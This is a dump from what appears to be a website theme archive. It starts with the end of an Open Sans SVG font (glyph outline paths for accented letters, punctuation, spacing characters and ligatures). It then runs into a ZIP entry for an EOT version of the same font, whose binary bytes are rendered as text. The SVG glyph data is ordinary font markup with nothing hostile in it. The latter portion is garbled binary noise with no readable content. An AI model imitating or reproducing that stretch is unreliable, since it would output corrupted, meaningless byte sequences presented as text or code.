<glyph unicode="&#xe3;" horiz-adv-x="1085" d="M98 289q0 159 132.5 247t383.5 93l207 6v72q0 155 -63 234t-203 79q-151 0 -313 -84l-37 86q179 84 354 84q179 0 267.5 -93t88.5 -290v-723h-73l-25 172h-8q-82 -105 -168.5 -148.5t-204.5 -43.5q-160 0 -249 82t-89 227zM203 285q0 -102 62.5 -158.5t176.5 -56.5 q174 0 274.5 99.5t100.5 276.5v107l-190 -8q-229 -11 -326.5 -71.5t-97.5 -188.5zM200 1243q10 111 63 174.5t137 63.5q48 0 88 -25t82 -59q34 -28 66 -50t61 -22q46 0 77 36.5t48 119.5h76q-16 -116 -69 -177t-132 -61q-36 0 -75 18.5t-101 71.5q-32 26 -62.5 46t-62.5 20 q-45 0 -75 -34.5t-48 -121.5h-73z" />
<glyph unicode="&#xe4;" horiz-adv-x="1085" d="M98 289q0 159 132.5 247t383.5 93l207 6v72q0 155 -63 234t-203 79q-151 0 -313 -84l-37 86q179 84 354 84q179 0 267.5 -93t88.5 -290v-723h-73l-25 172h-8q-82 -105 -168.5 -148.5t-204.5 -43.5q-160 0 -249 82t-89 227zM203 285q0 -102 62.5 -158.5t176.5 -56.5 q174 0 274.5 99.5t100.5 276.5v107l-190 -8q-229 -11 -326.5 -71.5t-97.5 -188.5zM282 1389q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86zM663 1389q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86z" />
<glyph unicode="&#xe5;" horiz-adv-x="1085" d="M98 289q0 159 132.5 247t383.5 93l207 6v72q0 155 -63 234t-203 79q-151 0 -313 -84l-37 86q179 84 354 84q179 0 267.5 -93t88.5 -290v-723h-73l-25 172h-8q-82 -105 -168.5 -148.5t-204.5 -43.5q-160 0 -249 82t-89 227zM203 285q0 -102 62.5 -158.5t176.5 -56.5 q174 0 274.5 99.5t100.5 276.5v107l-190 -8q-229 -11 -326.5 -71.5t-97.5 -188.5zM325 1456q0 94 60 152.5t157 58.5t157 -59t60 -152q0 -97 -60 -155t-157 -58t-157 58t-60 155zM405 1456q0 -66 37.5 -103.5t99.5 -37.5t99.5 37.5t37.5 103.5q0 64 -39 101.5t-98 37.5 q-62 0 -99.5 -38t-37.5 -101z" />
<glyph unicode="&#xe6;" horiz-adv-x="1731" d="M98 289q0 154 125 243t377 97l201 6v72q0 155 -61.5 234t-198.5 79q-148 0 -305 -84l-37 86q173 84 346 84q261 0 325 -211q111 213 347 213q184 0 289.5 -134.5t105.5 -363.5v-80h-715q0 -460 348 -460q85 0 150 12t174 57v-90q-92 -41 -165 -55t-161 -14 q-295 0 -397 256q-68 -133 -168 -194.5t-252 -61.5q-156 0 -242 82.5t-86 226.5zM203 285q0 -102 61 -158.5t170 -56.5q169 0 266 99.5t97 276.5v107l-187 -8q-219 -11 -313 -71.5t-94 -188.5zM903 618h604q0 188 -77.5 295t-212.5 107q-284 0 -314 -402z" />
<glyph unicode="&#xe7;" horiz-adv-x="973" d="M119 537q0 270 137 420.5t375 150.5q141 0 270 -49l-27 -88q-141 47 -245 47q-200 0 -303 -123.5t-103 -355.5q0 -220 103 -344.5t288 -124.5q148 0 275 53v-92q-104 -51 -273 -51q-233 0 -365 147t-132 410zM373 -393q30 -10 92 -10q78 0 119 28t41 80q0 94 -193 121 l93 174h96l-66 -117q168 -37 168 -174q0 -100 -67.5 -150.5t-188.5 -50.5q-68 0 -94 11v88z" />
<glyph unicode="&#xe8;" horiz-adv-x="1124" d="M119 535q0 260 128 416.5t345 156.5q192 0 303 -134t111 -364v-80h-783q2 -224 104.5 -342t293.5 -118q93 0 163.5 13t178.5 56v-90q-92 -40 -170 -54.5t-172 -14.5q-237 0 -369.5 146t-132.5 409zM229 618h672q0 189 -82 295.5t-227 106.5q-157 0 -252 -103.5 t-111 -298.5zM302 1552v17h142q26 -48 98.5 -142t142.5 -170v-16h-69q-96 79 -188.5 171.5t-125.5 139.5z" />
<glyph unicode="&#xe9;" horiz-adv-x="1124" d="M119 535q0 260 128 416.5t345 156.5q192 0 303 -134t111 -364v-80h-783q2 -224 104.5 -342t293.5 -118q93 0 163.5 13t178.5 56v-90q-92 -40 -170 -54.5t-172 -14.5q-237 0 -369.5 146t-132.5 409zM229 618h672q0 189 -82 295.5t-227 106.5q-157 0 -252 -103.5 t-111 -298.5zM452 1241v16q73 79 144.5 171.5t97.5 140.5h141v-17q-36 -52 -122.5 -138t-190.5 -173h-70z" />
<glyph unicode="&#xea;" horiz-adv-x="1124" d="M119 535q0 260 128 416.5t345 156.5q192 0 303 -134t111 -364v-80h-783q2 -224 104.5 -342t293.5 -118q93 0 163.5 13t178.5 56v-90q-92 -40 -170 -54.5t-172 -14.5q-237 0 -369.5 146t-132.5 409zM229 618h672q0 189 -82 295.5t-227 106.5q-157 0 -252 -103.5 t-111 -298.5zM290 1241v16q62 67 131.5 156t110.5 156h98q68 -120 242 -312v-16h-70q-122 101 -221 207q-108 -114 -221 -207h-70z" />
<glyph unicode="&#xeb;" horiz-adv-x="1124" d="M119 535q0 260 128 416.5t345 156.5q192 0 303 -134t111 -364v-80h-783q2 -224 104.5 -342t293.5 -118q93 0 163.5 13t178.5 56v-90q-92 -40 -170 -54.5t-172 -14.5q-237 0 -369.5 146t-132.5 409zM229 618h672q0 189 -82 295.5t-227 106.5q-157 0 -252 -103.5 t-111 -298.5zM331 1389q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86zM712 1389q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86z" />
<glyph unicode="&#xec;" horiz-adv-x="463" d="M182 0v1087h99v-1087h-99zM-34 1552v17h142q26 -48 98.5 -142t142.5 -170v-16h-69q-96 79 -188.5 171.5t-125.5 139.5z" />
<glyph unicode="&#xed;" horiz-adv-x="463" d="M182 0v1087h99v-1087h-99zM107 1241v16q73 79 144.5 171.5t97.5 140.5h141v-17q-36 -52 -122.5 -138t-190.5 -173h-70z" />
<glyph unicode="&#xee;" horiz-adv-x="463" d="M182 0v1087h99v-1087h-99zM-58 1241v16q62 67 131.5 156t110.5 156h98q68 -120 242 -312v-16h-70q-122 101 -221 207q-108 -114 -221 -207h-70z" />
<glyph unicode="&#xef;" horiz-adv-x="463" d="M182 0v1087h99v-1087h-99zM-21 1389q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86zM360 1389q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86z" />
<glyph unicode="&#xf0;" horiz-adv-x="1174" d="M117 471q0 228 126.5 357.5t342.5 129.5q108 0 187.5 -33t148.5 -96l4 2q-64 270 -269 459l-270 -157l-49 77l244 146q-86 62 -199 119l45 81q147 -69 248 -145l225 137l49 -84l-202 -121q154 -151 230.5 -353t76.5 -431q0 -276 -124 -427.5t-349 -151.5 q-214 0 -339.5 130t-125.5 361zM221 463q0 -186 94.5 -289.5t268.5 -103.5q179 0 272.5 123t93.5 364q0 146 -97 228.5t-267 82.5q-185 0 -275 -100.5t-90 -304.5z" />
<glyph unicode="&#xf1;" horiz-adv-x="1208" d="M182 0v1087h84l19 -149h6q106 170 377 170q370 0 370 -397v-711h-98v705q0 164 -69 238.5t-214 74.5q-195 0 -285.5 -98.5t-90.5 -319.5v-600h-99zM282 1243q10 111 63 174.5t137 63.5q48 0 88 -25t82 -59q34 -28 66 -50t61 -22q46 0 77 36.5t48 119.5h76 q-16 -116 -69 -177t-132 -61q-36 0 -75 18.5t-101 71.5q-32 26 -62.5 46t-62.5 20q-45 0 -75 -34.5t-48 -121.5h-73z" />
<glyph unicode="&#xf2;" horiz-adv-x="1200" d="M119 545q0 266 129 414.5t354 148.5q224 0 351.5 -150.5t127.5 -412.5q0 -266 -129 -415.5t-356 -149.5q-143 0 -252 69t-167 198t-58 298zM223 545q0 -224 98.5 -349.5t278.5 -125.5t278.5 125.5t98.5 349.5q0 225 -99.5 349t-279.5 124t-277.5 -123.5t-97.5 -349.5z M335 1552v17h142q26 -48 98.5 -142t142.5 -170v-16h-69q-96 79 -188.5 171.5t-125.5 139.5z" />
<glyph unicode="&#xf3;" horiz-adv-x="1200" d="M119 545q0 266 129 414.5t354 148.5q224 0 351.5 -150.5t127.5 -412.5q0 -266 -129 -415.5t-356 -149.5q-143 0 -252 69t-167 198t-58 298zM223 545q0 -224 98.5 -349.5t278.5 -125.5t278.5 125.5t98.5 349.5q0 225 -99.5 349t-279.5 124t-277.5 -123.5t-97.5 -349.5z M499 1241v16q73 79 144.5 171.5t97.5 140.5h141v-17q-36 -52 -122.5 -138t-190.5 -173h-70z" />
<glyph unicode="&#xf4;" horiz-adv-x="1200" d="M119 545q0 266 129 414.5t354 148.5q224 0 351.5 -150.5t127.5 -412.5q0 -266 -129 -415.5t-356 -149.5q-143 0 -252 69t-167 198t-58 298zM223 545q0 -224 98.5 -349.5t278.5 -125.5t278.5 125.5t98.5 349.5q0 225 -99.5 349t-279.5 124t-277.5 -123.5t-97.5 -349.5z M309 1241v16q62 67 131.5 156t110.5 156h98q68 -120 242 -312v-16h-70q-122 101 -221 207q-108 -114 -221 -207h-70z" />
<glyph unicode="&#xf5;" horiz-adv-x="1200" d="M119 545q0 266 129 414.5t354 148.5q224 0 351.5 -150.5t127.5 -412.5q0 -266 -129 -415.5t-356 -149.5q-143 0 -252 69t-167 198t-58 298zM223 545q0 -224 98.5 -349.5t278.5 -125.5t278.5 125.5t98.5 349.5q0 225 -99.5 349t-279.5 124t-277.5 -123.5t-97.5 -349.5z M264 1243q10 111 63 174.5t137 63.5q48 0 88 -25t82 -59q34 -28 66 -50t61 -22q46 0 77 36.5t48 119.5h76q-16 -116 -69 -177t-132 -61q-36 0 -75 18.5t-101 71.5q-32 26 -62.5 46t-62.5 20q-45 0 -75 -34.5t-48 -121.5h-73z" />
<glyph unicode="&#xf6;" horiz-adv-x="1200" d="M119 545q0 266 129 414.5t354 148.5q224 0 351.5 -150.5t127.5 -412.5q0 -266 -129 -415.5t-356 -149.5q-143 0 -252 69t-167 198t-58 298zM223 545q0 -224 98.5 -349.5t278.5 -125.5t278.5 125.5t98.5 349.5q0 225 -99.5 349t-279.5 124t-277.5 -123.5t-97.5 -349.5z M346 1389q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86zM727 1389q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86z" />
<glyph unicode="&#xf7;" d="M111 682v82h948v-82h-948zM504 371q0 98 80 98q82 0 82 -98q0 -53 -23.5 -76t-58.5 -23q-34 0 -57 23t-23 76zM504 1075q0 99 80 99q82 0 82 -99q0 -52 -23.5 -75t-58.5 -23q-34 0 -57 23t-23 75z" />
<glyph unicode="&#xf8;" horiz-adv-x="1200" d="M119 545q0 266 129 414.5t354 148.5q179 0 301 -104l96 124l74 -55l-104 -137q112 -147 112 -391q0 -266 -129 -415.5t-356 -149.5q-173 0 -291 98l-86 -113l-72 58l93 120q-121 153 -121 402zM223 545q0 -200 78 -322l543 705q-98 90 -246 90q-180 0 -277.5 -123.5 t-97.5 -349.5zM362 152q94 -82 238 -82q180 0 278.5 125.5t98.5 349.5q0 190 -72 309z" />
<glyph unicode="&#xf9;" horiz-adv-x="1208" d="M170 377v710h98v-704q0 -164 69 -238.5t214 -74.5q194 0 285.5 98t91.5 319v600h98v-1087h-84l-18 150h-6q-106 -170 -377 -170q-371 0 -371 397zM304 1552v17h142q26 -48 98.5 -142t142.5 -170v-16h-69q-96 79 -188.5 171.5t-125.5 139.5z" />
<glyph unicode="&#xfa;" horiz-adv-x="1208" d="M170 377v710h98v-704q0 -164 69 -238.5t214 -74.5q194 0 285.5 98t91.5 319v600h98v-1087h-84l-18 150h-6q-106 -170 -377 -170q-371 0 -371 397zM495 1241v16q73 79 144.5 171.5t97.5 140.5h141v-17q-36 -52 -122.5 -138t-190.5 -173h-70z" />
<glyph unicode="&#xfb;" horiz-adv-x="1208" d="M170 377v710h98v-704q0 -164 69 -238.5t214 -74.5q194 0 285.5 98t91.5 319v600h98v-1087h-84l-18 150h-6q-106 -170 -377 -170q-371 0 -371 397zM313 1241v16q62 67 131.5 156t110.5 156h98q68 -120 242 -312v-16h-70q-122 101 -221 207q-108 -114 -221 -207h-70z" />
<glyph unicode="&#xfc;" horiz-adv-x="1208" d="M170 377v710h98v-704q0 -164 69 -238.5t214 -74.5q194 0 285.5 98t91.5 319v600h98v-1087h-84l-18 150h-6q-106 -170 -377 -170q-371 0 -371 397zM350 1389q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86zM731 1389q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86 q-63 0 -63 86z" />
<glyph unicode="&#xfd;" horiz-adv-x="940" d="M0 1087h102l230 -610q105 -281 133 -379h6q42 129 137 385l230 604h102l-487 -1263q-59 -154 -99 -208t-93.5 -81t-129.5 -27q-57 0 -127 21v86q58 -16 125 -16q51 0 90 24t70.5 74.5t73 160t53.5 142.5zM361 1241v16q73 79 144.5 171.5t97.5 140.5h141v-17 q-36 -52 -122.5 -138t-190.5 -173h-70z" />
<glyph unicode="&#xfe;" horiz-adv-x="1219" d="M182 -492v2048h99v-391l-7 -247h7q114 190 368 190q220 0 335.5 -144.5t115.5 -420.5q0 -268 -121.5 -415.5t-331.5 -147.5q-251 0 -366 188h-7l3 -84q4 -74 4 -162v-414h-99zM281 541q0 -255 85.5 -364t278.5 -109q167 0 258.5 124t91.5 347q0 479 -348 479 q-193 0 -279.5 -105t-86.5 -354v-18z" />
<glyph unicode="&#xff;" horiz-adv-x="940" d="M0 1087h102l230 -610q105 -281 133 -379h6q42 129 137 385l230 604h102l-487 -1263q-59 -154 -99 -208t-93.5 -81t-129.5 -27q-57 0 -127 21v86q58 -16 125 -16q51 0 90 24t70.5 74.5t73 160t53.5 142.5zM214 1389q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86 q-63 0 -63 86zM595 1389q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86z" />
<glyph unicode="&#x131;" horiz-adv-x="463" d="M182 0v1087h99v-1087h-99z" />
<glyph unicode="&#x152;" horiz-adv-x="1839" d="M129 735q0 347 174.5 545.5t480.5 198.5q78 0 183 -17h747v-94h-655v-553h616v-94h-616v-627h655v-94h-756q-76 -16 -176 -16q-305 0 -479 200t-174 551zM240 733q0 -315 140.5 -484t401.5 -169q109 0 174 18v1266q-62 16 -172 16q-262 0 -403 -167.5t-141 -479.5z" />
<glyph unicode="&#x153;" horiz-adv-x="1942" d="M119 545q0 266 129 414.5t354 148.5q151 0 251 -70t157 -209q110 279 399 279q192 0 303 -134t111 -364v-80h-762q2 -230 100.5 -345t276.5 -115q93 0 163.5 13t178.5 56v-90q-92 -40 -170 -54.5t-172 -14.5q-156 0 -266.5 67.5t-165.5 198.5q-59 -128 -158 -197 t-252 -69q-143 0 -252 69t-167 198t-58 298zM223 545q0 -224 98.5 -349.5t278.5 -125.5q174 0 265 122.5t91 352.5q0 224 -93 348.5t-265 124.5q-180 0 -277.5 -123.5t-97.5 -349.5zM1065 618h653q0 189 -82 295.5t-227 106.5q-155 0 -242 -104t-102 -298z" />
<glyph unicode="&#x178;" horiz-adv-x="1081" d="M0 1462h117l426 -800l428 800h110l-487 -897v-565h-105v557zM288 1727q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86zM669 1727q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86z" />
<glyph unicode="&#x2c6;" horiz-adv-x="1182" d="M299 1241v16q62 67 131.5 156t110.5 156h98q68 -120 242 -312v-16h-70q-122 101 -221 207q-108 -114 -221 -207h-70z" />
<glyph unicode="&#x2da;" horiz-adv-x="1182" d="M371 1456q0 94 60 152.5t157 58.5t157 -59t60 -152q0 -97 -60 -155t-157 -58t-157 58t-60 155zM451 1456q0 -66 37.5 -103.5t99.5 -37.5t99.5 37.5t37.5 103.5q0 64 -39 101.5t-98 37.5q-62 0 -99.5 -38t-37.5 -101z" />
<glyph unicode="&#x2dc;" horiz-adv-x="1182" d="M283 1243q10 111 63 174.5t137 63.5q48 0 88 -25t82 -59q34 -28 66 -50t61 -22q46 0 77 36.5t48 119.5h76q-16 -116 -69 -177t-132 -61q-36 0 -75 18.5t-101 71.5q-32 26 -62.5 46t-62.5 20q-45 0 -75 -34.5t-48 -121.5h-73z" />
<glyph unicode="&#x2000;" horiz-adv-x="953" />
<glyph unicode="&#x2001;" horiz-adv-x="1907" />
<glyph unicode="&#x2002;" horiz-adv-x="953" />
<glyph unicode="&#x2003;" horiz-adv-x="1907" />
<glyph unicode="&#x2004;" horiz-adv-x="635" />
<glyph unicode="&#x2005;" horiz-adv-x="476" />
<glyph unicode="&#x2006;" horiz-adv-x="317" />
<glyph unicode="&#x2007;" horiz-adv-x="317" />
<glyph unicode="&#x2008;" horiz-adv-x="238" />
<glyph unicode="&#x2009;" horiz-adv-x="381" />
<glyph unicode="&#x200a;" horiz-adv-x="105" />
<glyph unicode="&#x2010;" horiz-adv-x="659" d="M92 512v82h475v-82h-475z" />
<glyph unicode="&#x2011;" horiz-adv-x="659" d="M92 512v82h475v-82h-475z" />
<glyph unicode="&#x2012;" horiz-adv-x="659" d="M92 512v82h475v-82h-475z" />
<glyph unicode="&#x2013;" horiz-adv-x="1024" d="M82 512v82h860v-82h-860z" />
<glyph unicode="&#x2014;" horiz-adv-x="2048" d="M82 512v82h1884v-82h-1884z" />
<glyph unicode="&#x2018;" horiz-adv-x="297" d="M29 981q32 112 81.5 251t92.5 230h65q-30 -101 -64.5 -257t-45.5 -244h-117z" />
<glyph unicode="&#x2019;" horiz-adv-x="297" d="M29 961q29 96 61 241.5t49 259.5h117l12 -20q-75 -265 -174 -481h-65z" />
<glyph unicode="&#x201a;" horiz-adv-x="451" d="M68 -263q29 96 61 241.5t49 259.5h117l12 -20q-75 -265 -174 -481h-65z" />
<glyph unicode="&#x201c;" horiz-adv-x="614" d="M29 981q32 112 81.5 251t92.5 230h65q-30 -101 -64.5 -257t-45.5 -244h-117zM346 981q34 120 83 255t91 226h66q-30 -98 -63 -248.5t-48 -252.5h-117z" />
<glyph unicode="&#x201d;" horiz-adv-x="614" d="M29 961q29 96 61 241.5t49 259.5h117l12 -20q-75 -265 -174 -481h-65zM346 961q30 98 63 248.5t48 252.5h116l13 -20q-36 -128 -85 -261t-89 -220h-66z" />
<glyph unicode="&#x201e;" horiz-adv-x="768" d="M68 -263q29 96 61 241.5t49 259.5h117l12 -20q-75 -265 -174 -481h-65zM385 -263q30 98 63 248.5t48 252.5h116l13 -20q-36 -128 -85 -261t-89 -220h-66z" />
<glyph unicode="&#x2022;" horiz-adv-x="770" d="M231 748q0 89 40.5 134.5t113.5 45.5t113.5 -47t40.5 -133q0 -85 -41 -133t-113 -48t-113 47t-41 134z" />
<glyph unicode="&#x2026;" horiz-adv-x="1466" d="M162 78q0 98 80 98q82 0 82 -98t-82 -98q-80 0 -80 98zM651 78q0 98 80 98q82 0 82 -98t-82 -98q-80 0 -80 98zM1141 78q0 98 80 98q82 0 82 -98t-82 -98q-80 0 -80 98z" />
<glyph unicode="&#x202f;" horiz-adv-x="381" />
<glyph unicode="&#x2039;" horiz-adv-x="524" d="M82 516v27l309 393l62 -43l-254 -363l254 -362l-62 -43z" />
<glyph unicode="&#x203a;" horiz-adv-x="524" d="M72 168l254 362l-254 363l61 43l309 -391v-27l-309 -393z" />
<glyph unicode="&#x2044;" horiz-adv-x="246" d="M-332 0l811 1462h94l-811 -1462h-94z" />
<glyph unicode="&#x205f;" horiz-adv-x="476" />
<glyph unicode="&#x2074;" horiz-adv-x="688" d="M25 827v60l407 581h96v-563h129v-78h-129v-241h-90v241h-413zM129 905h309v221q0 132 8 232q-6 -12 -21.5 -35.5t-295.5 -417.5z" />
<glyph unicode="&#x20ac;" d="M74 528v82h172q-4 38 -4 113l4 102h-172v82h184q39 272 183 425t362 153q88 0 161 -17t148 -57l-39 -86q-132 72 -270 72q-174 0 -288 -125.5t-155 -364.5h502v-82h-510l-4 -104v-24q0 -65 4 -87h449v-82h-443q30 -217 147.5 -338.5t301.5 -121.5q148 0 287 65v-94 q-81 -34 -150.5 -46.5t-140.5 -12.5q-228 0 -367.5 140t-181.5 408h-180z" />
<glyph unicode="&#x2122;" horiz-adv-x="1485" d="M10 1384v78h522v-78h-219v-643h-86v643h-217zM608 741v721h125l221 -606l224 606h125v-721h-86v398l4 207h-7l-227 -605h-74l-221 609h-6l4 -201v-408h-82z" />
<glyph unicode="&#x2212;" d="M111 682v82h948v-82h-948z" />
<glyph unicode="&#xe000;" horiz-adv-x="1085" d="M0 1085h1085v-1085h-1085v1085z" />
<glyph unicode="&#xfb01;" horiz-adv-x="1077" d="M29 1001v58l202 37v84q0 200 73.5 293.5t240.5 93.5q90 0 180 -27l-23 -86q-80 25 -159 25q-116 0 -164.5 -68.5t-48.5 -222.5v-101h256v-86h-256v-1001h-99v1001h-202zM782 1389q0 96 63 96q31 0 48.5 -25t17.5 -71q0 -45 -17.5 -71t-48.5 -26q-63 0 -63 97zM796 0v1087 h99v-1087h-99z" />
<glyph unicode="&#xfb02;" horiz-adv-x="1077" d="M29 1001v58l202 37v84q0 200 73.5 293.5t240.5 93.5q90 0 180 -27l-23 -86q-80 25 -159 25q-116 0 -164.5 -68.5t-48.5 -222.5v-101h256v-86h-256v-1001h-99v1001h-202zM796 0v1556h99v-1556h-99z" />
<glyph unicode="&#xfb03;" horiz-adv-x="1692" d="M29 1001v58l202 37v84q0 200 73.5 293.5t240.5 93.5q90 0 180 -27l-23 -86q-80 25 -159 25q-116 0 -164.5 -68.5t-48.5 -222.5v-101h256v-86h-256v-1001h-99v1001h-202zM643 1001v58l202 37v84q0 200 73.5 293.5t240.5 93.5q90 0 180 -27l-23 -86q-80 25 -159 25 q-116 0 -164.5 -68.5t-48.5 -222.5v-101h256v-86h-256v-1001h-99v1001h-202zM1397 1389q0 96 63 96q31 0 48.5 -25t17.5 -71q0 -45 -17.5 -71t-48.5 -26q-63 0 -63 97zM1411 0v1087h99v-1087h-99z" />
<glyph unicode="&#xfb04;" horiz-adv-x="1692" d="M29 1001v58l202 37v84q0 200 73.5 293.5t240.5 93.5q90 0 180 -27l-23 -86q-80 25 -159 25q-116 0 -164.5 -68.5t-48.5 -222.5v-101h256v-86h-256v-1001h-99v1001h-202zM643 1001v58l202 37v84q0 200 73.5 293.5t240.5 93.5q90 0 180 -27l-23 -86q-80 25 -159 25 q-116 0 -164.5 -68.5t-48.5 -222.5v-101h256v-86h-256v-1001h-99v1001h-202zM1411 0v1556h99v-1556h-99z" />
</font>
</defs></svg> PK!	P8�t�t<bluetheme/assets/fonts/OpenSans/OpenSans-Regular-webfont.eotnu&1i��t0t�LP��[ @(� T��Open SansRegularVersion 1.10"Open Sans RegularFFTM_���GDEF( OS/2�6�VH`cmap�48��cvt 
f
��@fpgm�/��egaspLglyf����Ta�head�g��g�6hhea�h,$hmtx��Z;hP�loca����l�maxp�m� name%8@Qn�post�-Ko��prep�`,r�|ɉo1�������>��3�3�f���@ [(1ASC@ ����X �H� ��2 ~�1Sx��� 
    " & / : D _ t �!""���� �1Rx���     " & / 9 D _ t �!""���������q�M�����������������r�;���� ��	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������rdei�x�pk�vj��sgwl|���cnm}�b����������ڹ��������y��������������������q�z�H��Keuy�������`w{��������������,�K�*PX�JvY�#?�+X=YK�*PX}Y ԰.-�, ڰ+-�,KRXE#Y!-�,i �@PX!�@Y-�,�+X!#!zX��YKRXX��Y#!�+X�FvYX��YYY-�,
\Z-�,�"�PX� �\\�Y-�,�$�PX�@�\\�Y-�, 9/-�	, }�+X��Y �%I# �&J�PX�e�a �PX8!!Y��a �RX8!!YY-�
,�+X!!Y-�, Ұ+-�, /�+\X  G#Faj X db8!!Y!Y-�
,  9/ � G�Fa#� �#J�PX#�RX�@8!Y#�PX�@e8!YY-�,�+X=�!! ֊KRX �#I �UX8!!Y!!YY-�,# � /�+\X# XKS!�YX��&I#�# �I�#a8!!!!Y!!!!!Y-�, ڰ+-�, Ұ+-�, /�+\X  G#Faj� G#F#aj` X db8!!Y!!Y-�, � �� �%Jd#�� PX<�Y-�,�@@BBK�cK�c � �UX � �RX#b �#Bb �#BY �@RX� CcB� CcB� c�e!Y!!Y-�,�Cc#�Cc#-���
�0�+��+���/�ֱ��+��	+013!%!!�I�y����Jh������
Y�+�/�+�/�ִ+�+�
+��/�
�+��+�
�99��
9017432#"&3#�x:?@94D�3ij�FB@G?�������:�+�3�+�2�/�ֱ��+��	+��99013#3#��(iH�)h�����3��Q�+�333�+�333�
+�$3�	�$2�
+�$3�	�	

$2� /�ֱ��+��
+�@	+��+��
+�@	+��+��!+�6�>��s+
�>���+
��+�+�+��	+��
+��
+�+�+�+��+��+��+��+��+�+��+@	

................�@015!!5!3!3!!!!#!#7!!3D��+R�R1T�T��B��T�T��R�P�/B����T��L��L����R��R��T��� '-a�/�3��(2�
+�@	+�./�ֱ!�!�+�$222��
(222��*+��/+�*�99��901753.546753&'#5"&654&'�S�Yͥ˧���4����J̷�p�yZocfJ�Y���%/�A������E�;�N2_{X����#�L\)�]���HY,h��-�%1��+�#+�)�+�+��	#
+�	�/#
+���2/�ֱ��+���+�&�&�,+� �3+��	$9�,&�#$9�	)� &,$9��999014632#"&732#"3	4632#"&732654&#"h���������JS��SJ{+���ٕ��������JTTPPTTJ�������ߪ�TR��T��J��������ޫ������q����)5�+�+�#
�
+�3
��6/�ֱ � +�*� �0+�
�
�+��7+�0*�
#&$9�
�%9��999��9�3#�
&-$901467.54632>73#'#"&7327>54&#"q��U=$į�����8C�D�+�v�����Ko\,�HW�egVYo{��f_bj9����k�]�y>�c��ݲj\Կu���DYf�E}XKSMa`��?��+�+�/�ֱ�+013#��(i���R��!�
�+�/�ֱ�+0173#&R����������1	ή��2��6���=���
�+�/�ֱ�+013#654=������������1�����:������V73%'V�+�+���������B�o��uo���^j��^Fh�)�R�/�3��2�
+�@
	+�
+�@	+�/�
ְ2�	�2�	

+�@		+�
	
+�@
	+�
+015!3!!#h����d�����T��V�?��m�%�/�	+�	/�ֱ�
+��901673?A
�b5��h2\d��rT�?q"�/����/�+�	+�+015!T�٘������.�	/�+�+�/�ִ+�+�
+0174632#"&�=9:AB93CjCEECAF?��33!�����Jf��-�D�	+��+���/�ֱ��+��+��	99��990132#"32#"f��������������~r�~������r����';;%�����
'�+�+�/�ֱ�+��99013#47����4��+�J�t.�d%�N�+��+�	��/�ֱ�
+�@	+�
+�@	+�+��9�	�
$90135>54&#"'632!d��p8�~[�dX�����������Su�<Oq�Ӳ������^���'f�%+��+��
	%
+�
��(/�ֱ"� ���
+�@		+�)+�%�9�	�"99�
�99��99901753 !#532654&#"'>32!"&^_�`{�^���ȓ~`�mTZ��읐�����t�;�/1)
���kz4FpGQ�����#+j�
`�	+�+�	
+�3��2�/�	ְ2��2�	
+�@	+�	
+�@		+�+�	�9��9��901533##%!47#+���ٟ��!
0*P��)���P�援`?����|�+��
+��	

+���/�ֱ�+�6�?��+
�
.�������..�
....�@��99��9�	�99901753265!"'!!632#"�F�e���_�V7��%sr�	���;�-3��27���I���u��/�$i�+��+�
�+��!
+�	��%/�ֱ�2��+��&+��$9��99�!�$901!2&#"3632#"732654&#"uOHqAMc�n������P�^����Z�Yq�����Ƭ���U�g�h����J�^+�"�+�+���/�+��9015!#^���^����h��)�".i�+�
�+�,
��//�ֱ��# ���/�#��+��) ���0+�)#� $9�,� &$9014%.54632#"&732654&'>54&#"h2�x���ꆓ����������•�/v��w�}�u��N�p����l�IU�{��͸x��za�G@��\�B<�\ewxj��%�%i�	+�
�+��+�#�	
+�
��&/�ֱ��+�2��'+��99��	$9�#�$901432!"'532##"&732>54.#"j�Е�x�htDPf�7�r�䤐�[�XR�_����������)3SW�Ґ�J�Fi�f�����d7�	/�+�/�+�/�ְ2�+�2�+�+0174632#"&432#"&�=9:AB93Cv{B93CjCEECAF?���AF??���d6�/�+�/�	ִ
+�
	+��+��99901673432#"&?A
�b5)w{B9:=��h2\d��r凇AFFh�)�5	h����bߕ�����w���/�
�/�
��/�	+015!5!w��^�������h�)�75	5h����Fu��!b��9�&n�+�
�$/�+�'/�ֱ
�+�!+�
�+��(+�
�$999�!�99��
	999��
999��901632#5467>54&#"432#"&�ο�'L~eA�Hb�G�{O�a�x:?@94Dhc��IocnVr_!6u�TstRfo%1���FB@G?y�F��5?��3/�.	�/�3�8� 2�=/��'/�	��@/�ֱ+�+�+�6�6�#+��A+�#6@	'.03;$9�.3�19��09�=8�#+$9��901$!2#"&'##"&543232654$#"!27# 32&#"y���O�X�hVv(�f���D�E�[r������B/���o5��HU��;�ߵ��َ�hQWbͰ���*�׬��������V�T���9��,�+�3�+�
+���/�+��90113#!!&'B�?������٪!#)��D�/j�V}`s��� g�+��+� 
�
+���!/�ֱ�2��+�� ���"+��	99��9��	99� �9013! #%!2654&#!5!2654&+��#��M���1����������������
9���ܑ�����q�{m}����=�+��+�	��/�ֱ�+��9�	�999��9014$32&#"327# }�?��H����
��������T�T�N������7�9��X�8�+�	
�+�
��/�ֱ	�	�
+��+�	�9013! !'3 !#��Uz�w����02�������������+%"���G�+�	�+��
+���/�ֱ	�2�	
+�@		+�2�@		+�
+013!!!!!�/�{^������)������	@�+�+��
+���
/�ֱ	�2�	
+�@		+�@		+�+013!!!!�/�{^�������}��=�x�+�
�+�	�
+���/�ֱ��+��
